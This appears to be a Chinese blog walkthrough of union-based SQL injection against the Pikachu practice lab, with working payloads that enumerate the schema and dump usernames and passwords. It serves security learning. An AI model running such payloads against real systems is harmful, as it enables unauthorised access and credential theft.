SQL注入(二):pikachu(一):MySQL字符型注入(post) --- 字符型注入

pikachu 练习站点;有需要站点的联系本人;

1、判断字段
SQL命令:
a' order by 1#'
查询到第3个时,显示不正常,则有两个字段;
数据库执行的命令:
select * from 表名 where username = 'a' order by 1#'

2、显示占位的数字,在网页上面可以显示看到数字能够显示的内容:
union联合查询中,前面的查询结果和后面的查询结果都为真的,则都会显示。如果前面的查询结果是假的,则只会显示后面的查询结果,
如果都为真,则前面后面都可以查询;    
若输入的名字原来有,则会显示,原先的和后面语句该显示的内容;
SQL命令:
a' union select 1,2#'   前面不正确则会显示,则会显示后面
数据库执行命令:
select * from 表名 where username='a' union select 1,2#'

3、在所占的位置上面查看数据库和版本:
SQL命令:
a' union select database(),version()#'
数据库命令:
select * from 表名 where username='a' union select database(),version()#'

4、查看数据表:
table_schema是数据库的名称;
table_name是具体的表名;
table_type指的是表的类型;
SQL命令:
a' union select table_schema,table_name from information_schema.tables where table_schema="pikachu"#'
数据库命令:
select * from 表名 where username='a' union select table_schema,table_name from information_schema.tables where table_schema="pikachu"#'

5、查看数据列:
column_name 是数据列名称;
SQL命令:
a' union select table_name,column_name from information_schema.columns where table_name="users"#'
数据库命令:
select * from 表名 where username='a' union select table_schema,column_name from information_schema.columns where table_name="users"#'

6、查看数据:
SQL命令:
a' union select username,password from users#'
数据库命令:
select * from 表名 where username='a' union select username,password from users#'


  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

天威一号

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值